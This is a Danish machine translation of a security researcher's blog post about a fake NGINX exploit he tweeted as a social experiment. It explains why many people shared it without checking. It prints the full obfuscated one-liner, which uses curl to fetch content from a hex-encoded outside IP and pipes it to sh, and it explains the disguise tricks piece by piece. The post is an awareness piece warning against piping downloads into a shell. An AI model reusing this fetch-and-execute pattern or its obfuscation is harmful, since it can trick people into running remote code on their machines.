Succesen med et socialt eksperiment med en falsk udnyttelse til nginx

Bemærk. overs.: Forfatter oprindelige notat, offentliggjort den 1. juni, besluttede at udføre et eksperiment blandt de interesserede i informationssikkerhed. For at gøre dette forberedte han en falsk udnyttelse af en ikke afsløret sårbarhed på webserveren og postede den på sin Twitter. Hans antagelser - om øjeblikkeligt at blive afsløret af specialister, der ville se det åbenlyse bedrag i koden - blev ikke kun ikke til virkelighed... De overgik alle forventninger, og i den modsatte retning: tweetet fik enorm støtte fra adskillige mennesker, der ikke gjorde det. kontrollere dens indhold.

Succesen med et socialt eksperiment med en falsk udnyttelse til nginx

TL;DR: Brug ikke filpipelining i sh eller bash under nogen omstændigheder. Dette er en fantastisk måde at miste kontrollen over din computer på.

Jeg vil gerne dele en kort historie med dig om en komisk PoC-benyttelse, der blev skabt den 31. maj. Han dukkede op prompte som svar på nyheder fra Alisa Esage Shevchenko, medlem Zero Day Initiative (ZDI), at oplysninger om en sårbarhed i NGINX, der fører til RCE (remote code execution), snart vil blive afsløret. Da NGINX driver mange hjemmesider, må nyheden have været en bombe. Men på grund af forsinkelser i processen med "ansvarlig afsløring" var detaljerne om, hvad der skete, ikke kendt - dette er standard ZDI-procedure.

Succesen med et socialt eksperiment med en falsk udnyttelse til nginx
tweet om afsløring af sårbarhed i NGINX

Da jeg var færdig med at arbejde på en ny sløringsteknik i curl, citerede jeg det originale tweet og "lækkede en fungerende PoC" bestående af en enkelt kodelinje, der angiveligt udnytter den opdagede sårbarhed. Det var selvfølgelig fuldstændig nonsens. Jeg gik ud fra, at jeg straks ville blive afsløret, og at jeg i bedste fald ville få et par retweets (nåja).

Succesen med et socialt eksperiment med en falsk udnyttelse til nginx
tweet med falsk udnyttelse

Jeg kunne dog ikke forestille mig, hvad der derefter skete. Mit tweets popularitet steg i vejret. Overraskende nok, i øjeblikket (kl. 15 Moskva-tid 00. juni) har få mennesker indset, at dette er en falsk. Mange mennesker retweet det uden at tjekke det overhovedet (endsige at beundre den dejlige ASCII-grafik, den udsender).

Succesen med et socialt eksperiment med en falsk udnyttelse til nginx
Se bare hvor smukt det er!

Selvom alle disse sløjfer og farver er fantastiske, er det klart, at folk skulle køre kode på deres maskine for at se dem. Heldigvis fungerer browsere på samme måde, og kombineret med det faktum, at jeg egentlig ikke ønskede at komme i juridiske problemer, lavede koden, der var begravet på mit websted, bare ekkoopkald uden at forsøge at installere eller udføre yderligere kode.

Lille digression: netspooky, DNZ, mig og de andre fyre fra holdet Thugcrowd Vi har leget med forskellige måder at tilsløre krøllekommandoer i et stykke tid nu, fordi det er fedt... og vi er nørder. netspooky og dnz opdagede flere nye metoder, der virkede meget lovende for mig. Jeg deltog i det sjove og prøvede at tilføje IP-decimalkonverteringer til posen med tricks. Det viser sig, at IP også kan konverteres til hexadecimalt format. Desuden spiser curl og de fleste andre NIX-værktøjer gladeligt hexadecimale IP'er! Så det var bare et spørgsmål om at skabe en overbevisende og sikker kommandolinje. Til sidst besluttede jeg mig for denne:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socio-elektronisk teknik (S.E.E.) er mere end blot phishing

Sikkerhed og fortrolighed var en stor del af dette eksperiment. Jeg tror, ​​det er dem, der førte til hans succes. Kommandolinjen antydede klart sikkerhed ved at henvise til "127.0.0.1" (den velkendte localhost). Localhost anses for at være sikker, og dataene på den forlader aldrig din computer.

Kendskab var den anden nøgle S.E.E.-komponent i eksperimentet. Da målgruppen primært bestod af folk, der var fortrolige med det grundlæggende i computersikkerhed, var det vigtigt at lave kode, så dele af den virkede bekendt og velkendt (og derfor sikker). At låne elementer af gamle udnyttelseskoncepter og kombinere dem på en usædvanlig måde har vist sig at være meget vellykket.

Nedenfor er en detaljeret analyse af one-liner. Alt på denne liste slides kosmetisk natur, og praktisk talt intet kræves til dens faktiske drift.

Hvilke komponenter er egentlig nødvendige? Det her -gsS, -O 0x0238f06a, |sh og selve webserveren. Webserveren indeholdt ingen ondsindede instruktioner, men serverede blot ASCII-grafik ved hjælp af kommandoer echo i scriptet indeholdt i index.html. Når brugeren indtastede en linje med |sh i midten, index.html indlæst og udført. Heldigvis havde webserverens vogtere ingen dårlige hensigter.

  • ../../../%00 — repræsenterer at gå ud over biblioteket;
  • ngx_stream_module.so — sti til et tilfældigt NGINX-modul;
  • /bin/sh%00<'protocol:TCP' - Vi lancerer angiveligt /bin/sh på målmaskinen og omdiriger outputtet til TCP-kanalen;
  • -O 0x0238f06a#PLToffset - hemmelig ingrediens, suppleret #PLToffset, for at ligne en hukommelsesoffset på en eller anden måde indeholdt i PLT'en;
  • |sh; - endnu et vigtigt fragment. Vi var nødt til at omdirigere outputtet til sh/bash for at udføre koden, der kommer fra den angribende webserver, der er placeret på 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - en dummy, som netcat henviser til /dev/tcp/localhostså alt ser sikkert ud igen. Faktisk gør det ingenting og er inkluderet i linjen for skønhed.

Dette afslutter afkodningen af ​​scriptet med én linje og diskussionen af ​​aspekter af "socio-elektronisk ingeniørarbejde" (indviklet phishing).

Webserverkonfiguration og modforanstaltninger

Da langt størstedelen af ​​mine abonnenter er infosec/hackere, besluttede jeg mig for at gøre webserveren lidt mere modstandsdygtig over for "interessetilkendegivelser" fra deres side, bare for at fyrene skulle have noget at lave (og det ville være sjovt at Opsætning). Jeg vil ikke nævne alle faldgruberne her, da eksperimentet stadig er i gang, men her er et par ting, serveren gør:

  • Overvåger aktivt distributionsforsøg på visse sociale netværk og erstatter forskellige forhåndsvisningsminiaturebilleder for at tilskynde brugeren til at klikke på linket.
  • Omdirigerer Chrome/Mozilla/Safari/etc til Thugcrowd-kampagnevideoen i stedet for at vise shell-scriptet.
  • Holder øje med åbenbare tegn på indtrængen/åbent hacking og begynder derefter at omdirigere anmodninger til NSA-servere (ha!).
  • Installerer en trojansk hest såvel som et BIOS-rootkit på alle computere, hvis brugere besøger værten fra en almindelig browser (bare for sjov!).

Succesen med et socialt eksperiment med en falsk udnyttelse til nginx
En lille del af antimers

I dette tilfælde var mit eneste mål at mestre nogle af funktionerne i Apache - især de fede regler for omdirigering af anmodninger - og jeg tænkte: hvorfor ikke?

NGINX udnyttelse (rigtig!)

Tilmeld dig @alisaesage på Twitter og følg ZDI's store arbejde med at adressere meget reelle sårbarheder og udnytte muligheder i NGINX. Deres arbejde har altid fascineret mig, og jeg er taknemmelig for Alice for hendes tålmodighed med alle de omtaler og notifikationer, mit dumme tweet forårsagede. Heldigvis gjorde det også noget godt: det hjalp med at øge bevidstheden om NGINX-sårbarheder såvel som problemer forårsaget af misbrug af krøller.

Kilde: www.habr.com

Tilføj en kommentar